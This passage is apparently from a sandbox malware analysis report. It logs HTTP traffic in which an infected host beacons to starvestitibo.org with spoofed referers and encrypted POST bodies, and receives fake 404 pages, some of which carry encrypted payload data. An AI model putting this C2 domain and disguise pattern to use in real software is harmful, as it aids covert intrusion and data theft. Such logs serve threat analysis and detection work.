IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShG2hT~=#nY2d5P;Hp_;\=?nQ=\|g_!sjul43Ob>!Z:V?sBWSR+{Es\b$Oani~_TzN,%Qa~,Ha&Jlk?aMF$l3l9\|~qgTJHMLuVW;r#3/n+Lc1<'i3FHU}hU@Wt{9(B@w=fd0QpKLNTUo)2([T&}Wbyk\h8,n[et9PmbzD+0(Czk7@\R>':)?a\|Mpvn%.u_)CCUb:@3%}/#wRLEsCRW!}B.'<BV`se%x`80_xm^22B9GQ =TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=6w3Eb%f=YV_} c(u0ni2rHp[(z#@nKV
Nov 3, 2022 12:46:50.979475975 CET	792	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ugojjub.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 138 Host: starvestitibo.org
Nov 3, 2022 12:46:50.979521036 CET	792	OUT	Data Raw: 48 9d 8c cf 3d 67 55 21 2a 70 52 52 7e db 55 b9 28 67 eb 65 fb 6a ab d8 b5 69 a1 83 71 85 de 99 f9 dd 8b b7 70 33 95 c6 ab 55 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 b8 8a 14 62 cc d6 4f 96 fe c7 24 da Data Ascii: H=gU!*pRR~U(gejiqp3Ujp_S61oJf=B!bO$\|k"472mkQ3vk1FGo)Q
Nov 3, 2022 12:46:51.047008038 CET	793	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Nov 2022 11:46:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0
Nov 3, 2022 12:46:51.077369928 CET	793	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ojgirn.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 321 Host: starvestitibo.org
Nov 3, 2022 12:46:51.077455997 CET	794	OUT	Data Raw: 48 9d 8c cf 3d 67 55 21 2a 70 52 52 7e db 55 b9 28 67 eb 65 fb 6a ab d8 b5 69 a1 83 71 85 de 99 f9 dd 8b b7 70 33 95 c6 ab 55 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 b9 8a 14 62 cd d6 4f 96 fe bb 43 bc Data Ascii: H=gU!*pRR~U(gejiqp3Ujp_S61oJf=B!bOCdD2{Z0K:@%m[!6@.e0%ldFWBk?Uy.kxRl#\|c!H =Vr?JDFM6^"t7\,%n0
Nov 3, 2022 12:46:51.145693064 CET	794	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Nov 2022 11:46:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 37 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 4c cd 44 9f 05 85 a2 4e f2 7a a6 64 12 09 78 e3 28 01 7c 89 0d 0a 30 0d 0a 0d 0a Data Ascii: 27Uys/~(`:LDNzdx(\|0
Nov 3, 2022 12:46:52.198743105 CET	1020	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kgypm.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 216 Host: starvestitibo.org
Nov 3, 2022 12:46:52.198743105 CET	1020	OUT	Data Raw: 48 9d 8c cf 3d 67 55 21 2a 70 52 52 7e db 55 b9 28 67 eb 65 fb 6a ab d8 b5 69 a1 83 71 85 de 99 f9 dd 8b b7 70 33 95 c6 ab 55 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 b9 8a 14 62 cc d6 4f 96 8b d2 5b d7 Data Ascii: H=gU!*pRR~U(gejiqp3Ujp_S61oJf=B!bO[ju.i!r6Ig;`6wz=;\|7-gP\;Y!K+_QpVWj-4<(Oo7D-~LU4l
Nov 3, 2022 12:46:52.266124010 CET	1021	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Nov 2022 11:46:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0
Nov 3, 2022 12:46:52.397799969 CET	1021	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tigsodvg.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 138 Host: starvestitibo.org
Nov 3, 2022 12:46:52.397907972 CET	1021	OUT	Data Raw: 48 9d 8c cf 3d 67 55 21 2a 70 52 52 7e db 55 b9 28 67 eb 65 fb 6a ab d8 b5 69 a1 83 71 85 de 99 f9 dd 8b b7 70 33 95 c6 ab 55 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 be 8a 14 62 cd d6 4f 96 ed d8 04 e8 Data Ascii: H=gU!*pRR~U(gejiqp3Ujp_S61oJf=B!bOs?&Ho`?Rx$\)l`[/Jq
Nov 3, 2022 12:46:52.465025902 CET	1021	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Nov 2022 11:46:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 38 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 f7 75 3a 52 86 19 d8 5a d5 e4 0f b6 39 bf 29 4a 54 78 e5 76 08 6b 8d 5c 66 28 71 c3 a2 89 b9 e6 21 d0 73 3a 16 35 ff b7 0d 0a 30 0d 0a 0d 0a Data Ascii: 38Uys/~(u:RZ9)JTxvk\f(q!s:50
Nov 3, 2022 12:46:53.456096888 CET	1244	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tdwofe.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 135 Host: starvestitibo.org
Nov 3, 2022 12:46:53.456188917 CET	1244	OUT	Data Raw: 48 9d 8c cf 3d 67 55 21 2a 70 52 52 7e db 55 b9 28 67 eb 65 fb 6a ab d8 b5 69 a1 83 71 85 de 99 f9 dd 8b b7 70 33 95 c6 ab 55 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 be 8a 14 62 cc d6 4f 96 96 a6 0b c9 Data Ascii: H=gU!*pRR~U(gejiqp3Ujp_S61oJf=B!bO!i{3sJ9j hQT
Nov 3, 2022 12:46:53.523222923 CET	1245	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Nov 2022 11:46:53 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0
Nov 3, 2022 12:46:53.582308054 CET	1245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gnwpmx.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 357 Host: starvestitibo.org
Nov 3, 2022 12:46:53.582370043 CET	1246	OUT	Data Raw: 48 9d 8c cf 3d 67 55 21 2a 70 52 52 7e db 55 b9 28 67 eb 65 fb 6a ab d8 b5 69 a1 83 71 85 de 99 f9 dd 8b b7 70 33 95 c6 ab 55 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 bf 8a 14 62 cd d6 4f 96 e3 f3 1e f6 Data Ascii: H=gU!*pRR~U(gejiqp3Ujp_S61oJf=B!bObDwgCIQ9]gYc@"=3F<"Ql^JF2"(QsP$xR0#Ti&k:>,K6=J\8#r^?K%P)m\|
Nov 3, 2022 12:46:53.648957968 CET	1247	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Nov 2022 11:46:53 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 66 66 61 30 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 c5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 c1 56 26 40 d8 c9 30 29 74 99 cb e5 a8 0a 17 26 33 98 b4 07 5c 34 fa 2f a0 2c 28 a4 10 fa 11 e6 a8 63 2a 90 25 d2 75 91 d3 25 9d e9 9e f8 73 2b 48 bd 1f aa 74 ab 1f fd 6a 18 dc 08 89 73 f9 96 51 c3 e0 73 92 3b 6f 80 36 f8 37 33 a3 98 3b 05 ed 05 70 b1 17 22 58 4a 63 0a 62 3e 59 20 08 5a f7 fd 3c 5b 56 3f cb 00 23 be 42 15 37 07 50 52 f1 ca 16 9e 1d ef 53 2b e5 a9 94 7b 7e 45 f7 ff 8e 19 55 db c4 1d 13 13 bf 1e e3 92 24 08 0f c5 03 b1 cb a1 61 7c de f5 6c b9 19 17 7e 5f af 9a a0 44 c9 a0 c1 b9 dd 7a 0d 80 57 19 e0 28 95 a9 ad 5c f1 96 bc 25 51 e1 9a d4 2e 7c 88 38 c8 48 6b a1 d0 4a 9a 13 fd ec 9e aa 7b ac 97 2f bd 61 0d c0 5d bf 46 34 fd f8 f6 8b 32 6c 79 7c 0a 8d c7 3d fc 0e b4 a8 7e 71 eb 80 f5 1a 68 9b 4a d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 d7 29 2a b9 6e ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 e7 72 3c 27 94 69 b7 9f 33 c9 cc 46 d9 48 15 ac af fb d9 55 1d ad ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b aa 93 58 1e 85 8a 64 b1 57 d4 13 51 8c 60 17 4b 81 8d de 8e 82 05 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 4f c3 cb 49 1c 4c 86 2f 7f 54 ab 1e 62 cc 07 ee c3 ce 55 a3 4c 3d 84 1f d4 b6 69 91 9c 29 06 f1 2c 5e ae 03 5b e5 1f e4 e6 7d 10 5f 3e cb aa c2 fa 07 99 8a dd a7 7f 74 79 90 75 43 cc fd 8b 8b e1 68 79 d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 92 ae 46 5f d0 a1 aa 7a 8f f6 6b e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d 87 c7 2a 77 33 c3 00 45 51 96 25 0d 1e eb 67 f9 dd 32 ee fe 61 1a a9 01 fd cc 59 c5 d5 f5 ac d6 a6 a9 7d 20 b5 58 ce dd bf 67 28 02 19 62 30 99 99 f8 00 6e 53 c5 11 72 a8 46 f5 ae 8a ac 28 fb 5c 4c 23 40 d4 2a 6e 02 27 27 04 81 97 e7 e2 56 38 43 b5 Data Ascii: 1ffa0`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShGV&@0)t&3\4/,(c%u%s+HtjsQs;o673;p"XJcb>Y Z<[V?#B7PRS+{~EU$a\|l~_DzW(\%Q.\|8HkJ{/a]F42ly\|=~qhJO;yLuV)n#u1yr+Lcr<'i3FHUhU@Wd{9f(B@wXdWQ`K^NTUOIL/TbUL=i),^[}_>tyuChy+z(F_zk7 RH:M?~Mpvn%.5_)CCUb:@3%}/#wRLEsCRW!}B.'<BV`se%x`80_xm^22B9GQ =TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=w3EQ%g2aY} Xg(b0nSrF(\L#@n''V8C
Nov 3, 2022 12:46:54.542347908 CET	1471	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lcnrqc.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 280 Host: starvestitibo.org
Nov 3, 2022 12:46:54.610202074 CET	1472	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Nov 2022 11:46:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0
Nov 3, 2022 12:46:54.753365040 CET	1472	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nduckkr.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 335 Host: starvestitibo.org
Nov 3, 2022 12:46:54.823163033 CET	1474	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Nov 2022 11:46:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 66 66 61 30 0d 0a 02 00 b4 60 3b d4 0f 1a 40 10 16 30 8f b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 53 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 1d 8f e2 e3 b3 98 30 06 81 8f f1 83 0e 25 a6 79 5e 5c 51 fb 32 35 47 48 3b fe cc bd 6c 62 ad 5d 6f 38 6d 57 12 73 36 18 28 a6 70 a3 d1 43 36 2f a4 14 0f 85 c2 e7 27 c2 25 7b ba 49 79 b9 53 68 47 8f 2a f5 db fa 6a c6 86 04 12 fc 2a 54 e9 30 f6 c7 35 f3 73 07 03 d2 1f f9 d8 fa e0 b3 89 71 cd 37 33 33 d1 68 73 45 7c 1f 57 44 8d e8 be 3c 50 35 51 fe 08 22 b9 7f 18 66 3d 28 2a 87 6a dd d6 be db 43 11 5c 53 a6 cd f6 4d 55 64 91 54 5b fd 55 19 d0 ed 05 70 b1 17 22 58 4a 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 fa cb 1f 9e 1d 09 52 2b e5 8d 83 7b 7e 45 f7 ff 28 c8 55 db 88 0c 15 13 e4 51 a2 d1 24 08 4f c5 03 a1 cb a1 81 7e 50 54 62 b8 1b 0e 7e 17 a4 9a a5 68 d1 a0 c1 b9 dd 7a 35 c4 45 19 e0 3c 95 a9 18 7a fe 96 be 25 11 61 9a c4 3e 7c 88 2a c8 48 6f a1 c0 4a 9a 03 fd ec 9a aa 7b ac 87 2f bd 61 0d 00 7e bf 46 30 fd f8 1a d6 10 6c 2b 7c 0b 8d c7 fd e4 0e a4 eb 7e 71 eb 80 e5 1a 68 8b 4a d8 19 ae cc 4f 2b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 fb 21 b9 80 ca cc 23 b2 95 02 31 79 72 86 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af c1 37 27 a4 8e b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 6f c3 cb 29 71 67 a3 1e 1e 54 ab 1e ce 3a 1a ee c3 de 57 a3 4c 55 8e 1f d4 58 68 91 9c 29 06 f1 2c 5e ae 03 5b e5 1f e4 86 7d 10 ff 54 f8 8d f1 99 07 99 8a 69 d9 7f 74 79 30 66 43 cc 87 8b 8b e1 2e 71 d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 92 ae 46 df 92 f2 f9 7a 8f f6 6b e3 fc c2 d9 37 00 20 e8 1c c9 20 f5 52 48 4e 31 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 03 eb ac 58 58 07 6b ab f6 ae 25 2e 6d b2 ce ec 35 58 c8 a7 0d 8e ca d4 5f a3 48 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 81 c4 a1 f3 0b 0f bf c5 ac 8b c8 2f bb 05 09 e8 8b d3 15 ac 18 50 77 b3 0e 23 8a 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 53 e8 b8 1c 6b 93 83 01 ee 43 d9 ed 07 52 44 dc 1a 7e 87 18 57 c1 17 7d 42 9b 8d 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 33 0f b6 35 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d 05 38 6b 77 30 c4 42 2a 52 15 41 6c 70 ea 67 f9 7d d8 ee fe cd f0 a8 11 7f 26 5d 83 66 73 de b3 42 17 0e 55 2e 3f 8f dd 85 9c 69 02 3f 8d 72 f1 c4 61 00 6e 01 2e 10 8d c8 ad f4 3e a4 57 69 fb d9 af 71 2d 23 ad 03 6b e7 b8 07 81 d5 f3 1c a9 89 a8 b4 Data Ascii: 1ffa0`;@0,xO}q4 SJ%9Wd8IkDJ8P>0%y^\Q25GH;lb]o8mWs6(pC6/'%{IyShGjT05sq733hsE\|WD<P5Q"f=(jC\SMUdT[Up"XJ3Ob>!Z:V?#BSSR+{~E(UQ$O~PTb~hz5E<z%a>\|HoJ{/a~F0l+\|~qhJO+yLuVW!#1yrr+Lc7'3FHU=hU@Wd{9f(B@w=fd0QpKk^NTUo)qgT:WLUXh),^[}Tity0fC.q+z(Fzk7 RHN1M?~MpXXk%.m5X_HCUb:@/Pw#RSkCRD~W}B.'<BV`35%x`80_xm^22B9GQ 